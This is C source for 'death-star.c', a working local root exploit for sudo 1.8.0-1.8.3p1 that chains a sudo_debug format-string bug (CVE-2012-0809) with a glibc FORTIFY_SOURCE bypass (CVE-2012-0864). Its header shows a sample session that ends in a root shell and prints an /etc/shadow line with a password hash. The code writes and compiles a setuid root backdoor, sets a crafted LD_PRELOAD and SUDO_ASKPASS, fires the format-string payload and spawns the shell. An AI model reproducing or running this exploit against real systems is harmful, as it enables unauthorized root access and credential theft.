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体验盒子/*
death-star.c
sudo v1.8.0-1.8.3p1 (sudo_debug) format string root exploit + glibc FORTIFY_SOURCE bypass
by aeon - http://infosecabsurdity.wordpress.com/
This PoC exploits:
- CVE-2012-0864 - FORTIFY_SOURCE format string protection bypass via "nargs" integer overflow
- CVE-2012-0809 - sudo v1.8.0-1.8.3p1 "sudo_debug" format string
Tested on:
- Fedora core 16 verne
- glibc 2.14.90.14 release
- sudo 1.8.1p2
Notes:
- This exploit actually turned out very reliable :-)
- You can make a cleaner version of this exploit if you smash sudo_debug function pointer
or a libc function pointer so you dont write to disk. I wont be releasing that version :-)
References and thanks too:
- http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
- http://www.vnsecurity.net/2012/02/exploiting-sudo-format-string-vunerability/
- http://www.alertlogic.com/modern-userland-linux-exploitation-courseware/
- "A Eulogy for Format Strings" http://www.phrack.org/issues.html?issue=67&id=9&mode=txt
[aeon@localhost tmp]$ gcc death-star.c -o death-star
[aeon@localhost tmp]$ ./death-star
[+] Targeting release: 3.1.0-7.fc16.i686.PAE
[+] Found vuln glibc version: 2.14.90
[+] Found a vuln sudo version: 1.8.1
[+] Writing backdoor: e.c
[+] Compiling backdoor: e
[+] Writing SUDO_ASKPASS file: e.sh
[+] Press enter when ready...
< -------------- REMOVED -------------->
A�AF@ F@ F@ F@ F@ ' from LD_PRELOAD cannot be preloaded: ignored.
%1073825311%21372736 %: settings:
=
%1073825311%21372736 %: settings:
=
%1073825311%21372736 %: sudo_mode 1081383169
Sorry, try again.
Sorry, try again.
Sorry, try again.
%20$08n %*482$ %*2850$ %1073741824$: 3 incorrect password attempts
%1073886251%21372736 %: policy plugin returns 1081402445
[+] Getting root..!
[+] Cleaning system.
[+] Launching root shell!
sh-4.2# id; uname -a
uid=0(root) gid=1001(aeon) groups=0(root),1001(aeon) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Linux localhost.localdomain 3.1.0-7.fc16.i686.PAE #1 SMP Tue Nov 1 20:53:45 UTC 2011 i686 i686 i386 GNU/Linux
sh-4.2# head -n1 /etc/shadow
root:$6$YxDB.SNvtnqhtt.T$slIOJSl7Lz07PtDF23m1G0evZH4MXvpo1VNebUUasM/je2sP6FXi2Y/QE1Ntg.93jOtTQOfZ8k2e/HhT8XzXN/:15818:0:99999:7:::
sh-4.2#
*/
#include <sys/resource.h>
#include <sys/utsname.h>
#include <gnu/libc-version.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/wait.h>
#define OFFSET 65000
#define NUM_THREADS0
/* files that we create on disk */
#define BACKDOOR "e.c"
#define BD_COMPILED"e"
#define SUDO_ASKPASS "e.sh"
extern char **environ;
struct utsname ver;
void *kill_sudo();
void *pop_shell();
void *set_env();
int is_glibc_vuln();
int is_sudo_vuln();
int write_backdoor();
/* hardcoded path to sudo */
const char sudo[] = "/usr/bin/sudo\0";
char s_version[20];
/* vuln versions of sudo */
char vuln_sudo_versions[4][20] = {
{"1.8.0"},
{"1.8.1"},
{"1.8.2"},
{"1.8.3"}
};
/* vuln versions of glibc */
char vuln_glibc_versions[4][20] = {
{"2.14.90"},
};
int main(int argc, char *argv[])
{
struct rlimit rara;
int status;
char ready;
uname(&ver);
printf("[+] Targeting release: %s\n", ver.release);
if (is_glibc_vuln()){
if(is_sudo_vuln()){
if (write_backdoor()){
printf("[+] Press enter when ready...");
scanf("%c", &ready);
}else{ exit(0); }
}else{ exit(0); }
}else{ exit(0); }
// ulimited stack
rara.rlim_max = rara.rlim_cur = -1;
setrlimit(RLIMIT_STACK, &rara);
pid_t pid;
if((pid = fork()) < 0)
{
printf("[-] An error occurred while forking sudo\n");
return -1;
}
else if(pid == 0){
set_env();
kill_sudo();
}else{
wait(&status);
if (WIFEXITED(status)) {
sleep(1);
pop_shell();
}
}
}
int is_glibc_vuln(){
int i, returnval = -1;
for (i = 0; i < 4; i++){
if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){
printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version());
returnval = 1;
}
}
return returnval;
};
int is_sudo_vuln(){
int i, returnval = -1;;
FILE *fp;
char path[20];
char sudo_ver_cmd[50];
snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo);
fp = popen(sudo_ver_cmd, "r");
if (fp == NULL) {
printf("[-] Failed to get sudo's version\n[-]Exiting.." );
exit(0);
}
fgets(path, 21, fp);
memmove (s_version, path+13,5);
for (i = 0; i < 4; i++){
if (strcmp(s_version, vuln_sudo_versions[i]) == 0){
printf("[+] Found a vuln sudo version: %s\n", s_version);
returnval = 1;
}
}
return returnval;
};
int write_backdoor(){
int returnval = 1;
char askpass[100], compile_bd[100];
char bdcode[] = "#include <stdio.h>\r\n"
"#include <stdlib.h>\r\n"
"int main(int argc, char **argv){\r\n"
"printf(\"[+] Getting root..!\\n\");\r\n"
"setresuid(0,0,0);\r\n"
"printf(\"[+] Cleaning system.\\n\");\r\n"
"remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n"
"printf(\"[+] Launching root shell!\\n\");\r\n"
"system(\"/bin/sh\");\r\n"
"exit(0);\r\n"
"}\r\n";
FILE *fp = fopen(BACKDOOR,"wb");
if (fp == NULL) {
printf("[-] Failed to write backdoor on the target, check your permissions\n" );
returnval = -1;
}else{
printf("[+] Writing backdoor: %s\n", BACKDOOR);
}
fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp);
memset(compile_bd, 0x00, sizeof(compile_bd));
snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED);
printf("[+] Compiling backdoor: %s\n", BD_COMPILED);
fp = popen(compile_bd, "r");
if (fp == NULL) {
printf("[-] Failed to compile the backdoor, check the gcc path\n" );
returnval = -1;
}
fclose(fp);
memset(askpass, 0x00, sizeof(askpass));
snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED);
fp = fopen(SUDO_ASKPASS,"w");
if (fp == NULL) {
printf("[-] Failed to write backdoor on the target, check your permissions\n" );
returnval = -1;
}else{
printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS);
}
fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp);
chmod(SUDO_ASKPASS, 0755);
return returnval;
};
void *set_env(){
int i = 0;
char ld_preload_evar[OFFSET] = "LD_PRELOAD=";
char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40};
char sudo_askpass_evar[40];
for (i=0; i<(OFFSET/4); i++){
memcpy(user_details+(i*4), user_details, sizeof(int));
}
memmove (ld_preload_evar+11, user_details , sizeof(user_details));
memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar));
snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS);
// set our environment
putenv(ld_preload_evar);
putenv(sudo_askpass_evar);
};
void *kill_sudo(){
char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$";
char *args[] = { fmtstring, "-D9", "-A", "", NULL};
// trigger the vuln
execve(sudo, args, environ);
};
void *pop_shell(){
// set our environment
unsetenv("LD_PRELOAD");
unsetenv("SUDO_ASKPASS");
char *exploit_args[] = { BD_COMPILED, NULL };
execve(BD_COMPILED, exploit_args, environ);
};
体验盒子
